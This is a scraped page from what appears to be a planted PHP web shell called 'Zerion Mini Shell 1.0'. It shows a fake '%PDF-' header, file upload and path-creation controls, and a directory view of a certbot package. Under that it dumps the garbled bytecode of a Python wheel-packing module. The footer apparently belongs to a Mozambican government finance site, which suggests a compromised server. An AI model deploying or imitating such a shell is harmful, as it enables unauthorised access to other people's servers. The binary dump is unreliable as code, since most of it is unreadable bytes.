%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /snap/certbot/5911/lib64/python3.12/site-packages/wheel/_commands/__pycache__/
Upload File :
Create Path :
Current File : //snap/certbot/5911/lib64/python3.12/site-packages/wheel/_commands/__pycache__/pack.cpython-312.pyc

�

�h�jf���ddlmZddlZddlZddlZddlmZddl	m
Z
ddlmZm
Z
ddlmZmZej"d�Z	d									dd	�Zd
d
�Zy)�)�annotationsN)�BytesGenerator)�BytesParser)�InvalidVersion�Version�)�
WheelError�	WheelFilez6^(?P<namever>(?P<name>.+?)-(?P<ver>\d.*?))\.dist-info$c	�>�tj|�D�cgc]V}tjjtjj	||��rt
j
|�r|��X}}t|�dkDrtd|����|std|����|d}t
j
|�}|jd�}|jd�}	|jd�}
|��G|
jd	d�d}|d
k(r|n|�d	|��}	t|�d
|vrtd|�d���|	�d
|��}|�d�}tjtjj	||�tjj	||��|}|}tjj	||d�}	t|d�5}tt j"j$��j'|�}ddd�d=||d<t|d�5}t+|d��j-|�ddd�tjj	||d�}t|d�5}tt j"j$��j'|�}|j/dg�}|j1d�}|std|�d���	ddd�|�|n}|�Hd=|r
||d<|d
|zz
}|k7r1t|d�5}t+|d��j-|�ddd�t3�}tjj	||�d
|�d��}t5|d�5}t7d |�d!�d
d"�#�|j9|�ddd�t7d$�ycc}w#t$r}
td|�d|
���d�d}
~
wwxYw#1swY���xYw#t($rtd|�d��d�wxYw#1swY���xYw#1swY��.xYw#1swY��xYw#1swY��xYw)%a�Repack a previously unpacked wheel directory into a new wheel file.

    The .dist-info/WHEEL file must contain one or more tags so that the target
    wheel file name can be determined.

    :param directory: The unpacked wheel directory
    :param dest_dir: Destination directory (defaults to the current directory)
    :param build_number: Build tag to use in the wheel name
    :param local_version: Local version identifier to add or replace
    �z)Multiple .dist-info directories found in z#No .dist-info directories found in r�namever�name�verN�+�zInvalid version z: �-z!Invalid local version identifier zK: wheel filenames cannot contain '-' in the version; use '_' instead of '-'z
.dist-info�METADATA�rb)�policyzMissing z/METADATA filer�wb)�maxheaderlen�WHEEL�Tag�BuildzNo tags present in z./WHEEL; cannot determine target wheel filenamez.whl�wzRepacking wheel as z...T)�end�flush�OK)�os�listdir�path�isdir�join�DIST_INFO_RE�match�lenr	�group�splitrr�rename�openr�emailr�compat32�parse�FileNotFoundErrorr�flatten�get_all�get�compute_tagliner
�print�write_files)�	directory�dest_dir�build_number�
local_version�fn�dist_info_dirs�
dist_info_dirr%�name_versionr�version�base_version�new_version�e�new_namever�new_dist_info_dir�
metadata_path�f�metadata�wheel_file_path�info�tags�existing_build_number�tagline�
wheel_path�wfs                          �P/root/parts/certbot/install/lib/python3.12/site-packages/wheel/_commands/pack.py�packrNs>��&�*�*�Y�'���
�7�7�=�=������i��4�5�,�:L�:L�R�:P�	��N��
�>��Q���D�Y�K�P�Q�Q�
��>�y�k�J�K�K�#�1�%�M����}�-�E��;�;�y�)�L��;�;�v��D��k�k�%� �G�� ��}�}�S�!�,�Q�/��)�R�/�L��~�Q�}�o�5V�	�	P��K� ��+���3�M�3D�E)�)��
���a��}�-��*�m�:�6��
�	�	��G�G�L�L��M�2��G�G�L�L��$5�6�	
�*�
�"�������Y�
�z�J�
�	Q��m�T�*�
N�a�&�e�l�l�.C�.C�D�J�J�1�M��
N�

�Y��)����
�-��
&�	@�!��1�1�-�5�5�h�?�	@��g�g�l�l�9�m�W�E�O�	
�o�t�	$�	���%�,�,�"7�"7�8�>�>�q�A���,�,�u�b�1�� $���� 1����%�m�_�5!�"��
��	�$0�#;�<�AV�L�����M��(�D��M��C�,�.�.�L��0�0��o�t�,�
@���q�q�1�9�9�$�?�
@��d�#�G������h�<�.��'��$�(G�H�J�	�:�s�	#�"�r�
�#�J�<�s�3��4�H�
���y�!�"�
�$�K��w��2�	P��/���b���D�E�4�O��	P��,
N�
N�� �	Q��x�
��n�E�F�D�P�	Q��
	@�	@��
	�	��(
@�
@��"�"�ss�AN�N �7O�4O�7O�O-�%A(O:�P�#$P� 	O�)N;�;O�O
�O�O*�-O7�:P�P�Pc��t|D�chc]}|jd�d��c}�}t|D�chc]}|jd�d��c}�}t|D�chc]}|jd�d��c}�}djdj|�dj|�dj|�g�Scc}wcc}wcc}w)zcCompute a tagline from a list of tags.

    :param tags: A list of tags
    :return: A tagline
    rrrr�.)�sortedr(r#)rH�tag�impls�abivers�	platformss     rMr2r2s���
��6�#�C�I�I�c�N�1�%�6�7�E��4�8�C�c�i�i��n�Q�'�8�9�G��T�:�c��	�	�#��q�)�:�;�I��8�8�S�X�X�e�_�c�h�h�w�&7����)�9L�M�N�N��7��8��:s�C�C� C
)N)
r5�strr6rVr7�
str | Noner8rW�return�None)rHz	list[str]rXrV)�
__future__r�email.policyr+�os.pathr�re�email.generatorr�email.parserr�packaging.versionrr�	wheelfiler	r
�compiler$rNr2��rM�<module>ress��"���	�*�$�5�-��r�z�z�S�T��!%�	l��l��l��l��	l�

�l�^	Ord

Zerion Mini Shell 1.0
GEPRES Tracking

República de Moçambique

Ministério da Economia e Finanças